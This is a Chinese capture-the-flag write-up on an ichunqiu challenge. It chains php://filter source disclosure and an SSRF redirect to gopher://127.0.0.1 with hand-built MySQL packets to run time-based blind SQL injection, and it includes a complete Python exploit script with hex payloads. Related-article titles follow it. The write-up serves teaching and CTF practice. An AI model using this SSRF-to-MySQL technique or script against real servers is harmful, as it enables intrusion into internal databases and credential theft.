进去之后随便输账号密码登陆, 发现是个send.php在url后缀中,疑似文件包含,尝试用phpfilter发现可以任意读取,把源码down下来之后发现是个利用gopher的ssrf,题目已经提示得很明显了,利用站外location跳转到gopher协议下进行内网操作, 然后还能读到一个sql文件个conn.php,并且数据库无密码.那么应该是操作数据库了, 但是这里有两个问题,1:不知道数据库的端口 2:curl没有回显

首先第一个问题我们直接去读取/proc/net/tcp看看本機的监听端口,发现一个80和一个1111,那毫无疑问1111就是mysql的端口了(端口以hex展示)

sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode

0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 62508910 1 0000000000000000 100 0 0 10 0

1: 00000000:0457 00000000:0000 0A 00000000:00000000 00:00000000 00000000 999 0 62513855 1 0000000000000000 100 0 0 10 0

2: 040011AC:0050 09000A0A:ACAA 01 00000000:00000000 00:00000000 00000000 33 0 62524723 1 0000000000000000 20 4 32 10 -1

在说操作mysql之前我们先构造好gopher协议下的mysql数据包,这里我用的是tcpdump监听本地3306端口后再用wireshark提取出需要的数据包

前置知识: tcp/ip方式连接mysql的过程(强行只说4.0以后的协议)

image(图片来自https://segmentfault.com/a/1190000012166738)

所以我们需要3个包,一个是发送认证请求的包、一个发送我们query的包、一个quit包

这里还涉及到一个小知识是mysql的用户认证是采用了挑战应答的方式,由服务器生成一个挑战数发送给用户之后用户用挑战数加密密码返回给服务器,服务器检查结果是否与预期相同, 这里需要无授权mysql用户的原因就是如果密码为空的话挑战加密结果就是空, 这样的话认证数据包就能每次相同了

query包则相对结构简单,quit包格式固定

首先tcpdump -i lo0 -w mysql.pcap port 3306 -i网卡 -w导出到文件 然后本地马上TCP/IP方式连接数据库进行select操作, 最后exit

11ea80a7-1e91-436c-a74d-cec9c0fff6db.png

将需要的请求包的原始数据(hex)拿下来之后转换成urlencoded的格式利用gopher协议访问 类似于这样:

c229b719-80e1-4a82-9217-ab264e40be9b.png

返回到了我们期望的0

然后我们解决没有回显的问题:

方法一:采用带外攻击尝试利用dns查询带出去,推荐ceye.io (此方法不可用 经Gaia大佬的提醒 因为只有windows才有unc路径Orz..)

方法二:采用dumpfile的方式写文件到tmp目录后读取 (后来发现此mysql用户没有写权限)

方法三:最蠢的方法, 直接利用时间盲注 (最后用了这个方法)

然后最后一点需要注意的是在盲注的过程中数据包的长度会变化,要更改数据包包头长度

脚本:

import requests

import time

import os

url = 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php'

headers = {

'Host': '70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com',

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:48.0) Gecko/20100101 Firefox/48.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

'Accept-Encoding': 'gzip, deflate',

'Referer': 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php',

'Cookie': 'Hm_lvt_1a32f7c660491887db0960e9c314b022=1503915500; Hm_lvt_9104989ce242a8e03049eaceca950328=1499841280,1499841321,1500792273; pgv_pvi=2458169344; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1509698028,1511583430,1511759905; UM_distinctid=1621015174e3f-07d3d76d358413-485860-384000-1621015174f3eb; PHPSESSID=p2aqa6ls1v5pvrlvt40599ino4',

'Connection': 'keep-alive',

'Upgrade-Insecure-Requests': '1',

}

remote = 1

se = requests.Session()

raw_conn = 'a400000105a6ff0100000001210000000000000000000000000000000000000000000000446f6700006d7973716c5f6e61746976655f70617373776f72640068035f6f73086f737831302e31330c5f636c69656e745f6e616d65086c69626d7973716c045f70696404353133300f5f636c69656e745f76657273696f6e06352e372e3231095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c'

# raw_select_db = '120000000353454c45435420444154414241534528290b00000002757365725f61646d696e'

raw_blind_query = '%s0000000373656c65637420696628617363696928737562737472282873656c6563742067726f75705f636f6e63617428757365726e616d652c70617373776f7264292066726f6d20757365725f61646d696e2e61646d696e292c%s2c3129293d%s2c736c6565702835292c3029'

raw_end_conn = '0100000001'

content = 'adminfla'

for x in xrange(8,100):

for y in xrange(33,126):

packet_length = 107

if x >= 10 :

packet_length += 1

if x >= 100:

packet_length += 1

if y >= 100 :

packet_length += 1

b = []

raw_code = (raw_conn + raw_blind_query + raw_end_conn) % (hex(packet_length)[2:], str(x).encode('hex'), str(y).encode('hex'))

# print raw_code

# exit()

l = len(raw_code)

for z in xrange(l):

if z % 2 == 0:

b.append(raw_code[z:z+2])

urlencoded = '%' + '%'.join(b)

# payload = 'gopher://127.0.0.1:1111/_' + urlencoded

if remote == 0:

payload = 'gopher://127.0.0.1:3306/_' + urlencoded

s = time.time()

os.system('curl ' + payload)

# print payload

# exit()

if time.time() - s >= 5:

print 'found! ' + chr(y)

break

else:

print y

elif remote == 1:

payload = 'gopher://127.0.0.1:1111/_' + urlencoded

with open('index.php','wb') as f:

f.write('<?php \nheader(\'Location:' + payload + '\');\n')

try:

s = time.time()

res = se.post(url, headers=headers, data={'url':'http://xxx.xxx.xxx.xxx'})

# print res.status_code

time.sleep(0.1);

if time.time() - s >= 5.1 and res.status_code == 200:

content += chr(y)

print 'Found!! ' + chr(y)

print content

break

else:

print y

except Exception as e:

pass

poc:

f9945682-7cb0-4d63-be77-11febd8983f7.png

flag在admin表内

gopher对mysql的利用_[题目]记一次利用gopher的内网mysql盲注相关推荐

  1. php mysql盲注_[题目]记一次利用gopher的内网mysql盲注

    进去之后随便输账号密码登陆, 发现是个send.php在url后缀中,疑似文件包含,尝试用phpfilter发现可以任意读取,把源码down下来之后发现是个利用gopher的ssrf,题目已经提示得很 ...

  2. 如何实现外网访问内网mysql数据库

    今天跟大家分享一下两种特定网络环境下,如何实现外网访问内网mysql数据库. 第一种网络环境:路由器分配的是动态公网IP,且有路由器登录管理权限.如何实现外网访问内网mysql数据库? 针对这种网络环 ...

  3. 通过nginx代理进行内网mysql的访问

    公网只暴露了一个默认端口,只好想办法访问数据库 选用nginx进行转发.配置如下: stream {upstream cloudsocket {hash $remote_addr consistent ...

  4. nginx与mysql传输过程_某互联网企业技术发展史(四)配置nginx和mysql兼容Yii框架,上传网站并调试成功...

    昨天安装好了php.nginx和squid,今天配置mysql和nginx,使nginx兼容Yii框架,并上传网站,将网站调试和配置好. 1, 首先配置下php的时区 # vi /etc/php.in ...

  5. 安装mysql没有密码_如何在没有密码提示的情况下安装MySQL?

    问题描述 我试图在没有密码提示的情况下在Ubuntu Natty上安装MySQL.但是,在主安装后的某个阶段,我总是不断提示输入密码. 另外,当我输入我认为应该是我的密码(mymysqlpass)的密 ...

  6. mysql gtid 同步_结合案例说说5.7使用gtid同步后,mysql.gtid_executed引起的从库gtid断层...

    结合案例说说5.7使用gtid同步后,mysql.gtid_executed引起的从库gtid断层,从库重复拉取主库数据,导致数据在从库被重复执行; mysql.gtid_executed,5.7.5 ...

  7. 记一次MSF综合应用内网渗透记录

    0x01 前言 随机找的个台湾某越科技集团下的站点作为此次测试目标,只是为了学习下内网渗透和MSF的使用.13年9月份时拿到了一个子域的Webshell权限后就没再继续测试了,当时服务器没有安装Sym ...

  8. 记一次糟心的内网靶场实战

    一开始的时候对整个内网的拓扑结构还不熟,所以做的时候有很多方法都没有想到去用,大家多多指教. 一.环境准备 用网线连接交换机 配置Winodwss攻击机IP为172.16.6.203 攻击机Kali ...

  9. mysql ssh隧道连接内网mysql

    通过SSH隧道连接MySQL数据库 一.背景 问题所在:MySQL被运用于越来越多的业务中,在关键业务中对数据安全性的要求也更高,数据安全如果只靠MySQL应用层面显然是不够的,虽然说MySQL实现的 ...

  10. 利用mysql模拟银行转账_实践项目七:模拟银行转账系统(python+mysql)

    环境:ubutu 16.04 + python2.7 + mysql 5.7.19 最近学习python操作mysql数据库的知识,python访问数据库有自己的统一接口程序:Python DB AP ...

最新文章

  1. 院士张钹:AI奇迹短期难再现 深度学习技术潜力已近天花板
  2. 关于需求和架构的典型问题
  3. 2013年1月21日记事
  4. 数据中心或许会成为未来5G最强大的技术支撑
  5. 比尔盖茨,马斯克、霍金都告诉你:为什么要警惕人工智能(中)
  6. Qt笔记-多线程检索数据库(单例多重锁,QtConcurrent::blockingMapped)
  7. vivo NEX 3 5G真机曝光:瀑布屏+升降镜头
  8. camera驱动电源配置_电源行业发展前景如何?
  9. 论文阅读:Vision GNN: An Image is Worth Graph of Nodes
  10. 群晖(Synology)配置 NAS + 软路由
  11. Swagger注解传参
  12. Hutool PinyinException: No pinyin jar found Please add one of it to your project问题解决
  13. CDUTCM OJ 2017第一次月赛
  14. python读取grib2文件
  15. Android中手写签名的实现
  16. Data Catalog3.0:Modern Metadata for the Modern Data Stack
  17. ArrayList的add方法详解——让我们好好看看一个元素是如何插入到ArrayList集合当中(源码级别)
  18. 新手上路开车技巧 八步教你如何倒车入位
  19. 微医的第七年:依托互联网医院联合体,如何推动人工智能的战略升级?
  20. 基于微信小程序的在线免费小说阅读系统

热门文章

  1. 什么是POE交换机?POE交换机的作用
  2. EPLAN 电气工程图纸
  3. python元组元素的提取_Python 元组
  4. window10 安装Java11 并可以和Java8进行自由切换
  5. mro python_Python-MRO
  6. 计算机相乘求和的函数,Excel五大求和操作,除了sum函数你知道有几个?-excel乘法函数...
  7. gitlab多人协同工作
  8. 微信小程序开发(7)---协同工作篇
  9. 基于Python爬取Bing图片
  10. python--(点餐--元组)enumerate将索引与值一一对应、 模拟手机通信录、 模拟手机通信录--使用集合